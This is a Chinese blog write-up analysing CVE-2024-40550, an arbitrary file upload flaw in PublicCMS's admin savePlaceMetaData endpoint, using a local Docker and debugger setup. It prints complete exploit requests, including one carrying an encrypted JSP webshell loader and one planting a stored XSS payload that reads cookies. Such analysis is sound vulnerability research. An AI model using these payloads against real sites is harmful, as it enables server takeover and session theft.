publicCms savePlaceMetaData 任意文件上传漏洞&分析(CVE-2024-40550)
ycxlo 发表于 四川 技术文章 2997浏览 · 2024-07-17 05:20

漏洞描述

publicCms v.4.0.202302.e版本的/admin/cmsTemplate/savePlaceMetaData组件中存在任意文件上传漏洞,攻击者可通过上传精心制作的文件来执行任意代码。从而导致web服务器沦陷。

影响版本

publicCms v.4.0.202302.e版本

环境搭建

先使用docker拉取镜像

docker pull sanluan/publiccms:V4.0.202302.e

然后运行

docker run -d -p 8080:8080 sanluan/publiccms:V4.0.202302.e

接着把其中的war包拉到物理机上来调试(源码:https://gitee.com/sanluan/PublicCMS)

docker cp 41ee8cfd7165:/opt/publiccms.war publiccms.war

启动

java -jar -Dfile.encoding="UTF-8" -Dcms.port=8088 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Dcms.contextPath
=/publiccms -Dcms.filePath="data\publiccms" publiccms.war

漏洞分析

根据描述找到相应的路由

打了断点之后就去admin页面一直点,找相似的功能点,然后在这里看到了与模板相关的功能

对应的请求包

然后按类似的方法去请求一下savePlaceMetaData路由,成功进入断点

按照他给的参数,尝试构造了如下请求包

POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------163966804931607146212670675591
Content-Length: 1670
Origin: http://localhost:8088
Connection: close
Referer: http://localhost:8088/publiccms/admin/
Cookie: JSESSIONID=A3F7ED4FB6F28DEA6820E72CB1FE641E; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"

e7c0ca14-1532-47f2-8e99-e7f909df6d48
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="path"

../
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="files"; filename="1.txt"
Content-Type: application/octet-stream

123
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="content"

123
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="encoding"

utf-8
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="ajax"

1
-----------------------------163966804931607146212670675591--

首先对path进行了是否为空的判断

然后将path与include拼接,传入siteComponent.getTemplateFilePath方法

然后调用getFullTemplatePath方法

判断path是否以/或者\开头,在将path传入getSafeFileName

..去除,然后传回,最后得到的filepath是这样的

然后根据我们传入的content以及刚刚得到的filepath,调用CmsFileUtils.createFile

调用完这个函数,可以看到已经创建了文件

可以看到这期间没有任何的后缀限制或是文件内容限制,仅仅有个防目录穿越的过滤,随后会调用一个metadataComponent.updatePlaceMetadata方法

最后调用一个savePlaceMetadata方法

这个metadataMap存储着我们上传的所有模板文件,savePlaceMetadata方法创建一个metadata.data文件,并将所有模板文件信息写入metadata.data

后面的代码就是一些日志的缓存的操作

接下来就是怎么访问我们上传的文件,观察一下同目录下的文件

看这些信息不像是在后台页面出现的,直接去前台找一下,访问一下/puliccms,发现就是index.html

最后访问一下include

有了刚刚的分析,我尝试拼接一下include,发送如下请求包

POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------163966804931607146212670675591
Content-Length: 1320
Origin: http://localhost:8088
Connection: close
Referer: http://localhost:8088/publiccms/admin/
Cookie: JSESSIONID=A3F7ED4FB6F28DEA6820E72CB1FE641E; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"

e7c0ca14-1532-47f2-8e99-e7f909df6d48
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="path"

.jsp
-----------------------------163966804931607146212670675591
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="content"

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="encoding"

utf-8
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="ajax"

1
-----------------------------163966804931607146212670675591--

发现并不解析,感觉getshell不太行,于是尝试一些其他的攻击,既然是html界面,可以试一试xss

POST /publiccms/admin/cmsTemplate/savePlaceMetaData?callbackType=closeCurrent&navTabId=cmsTemplate/list HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------163966804931607146212670675591
Content-Length: 773
Origin: http://localhost:8088
Connection: close
Referer: http://localhost:8088/publiccms/admin/
Cookie: JSESSIONID=A3F7ED4FB6F28DEA6820E72CB1FE641E; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"

e7c0ca14-1532-47f2-8e99-e7f909df6d48
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="path"

14.html
-----------------------------163966804931607146212670675591
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="content"

<img src=1 onerror=alert(document.cookie)>
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="encoding"

utf-8
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="ajax"

1
-----------------------------163966804931607146212670675591--

除了漏洞提到的这个接口,感觉模板功能那里直接也能上传任意文件,emmm,主要还是学习一下调试以及分析漏洞的方法吧(

1 条评论
某人
表情
可输入 255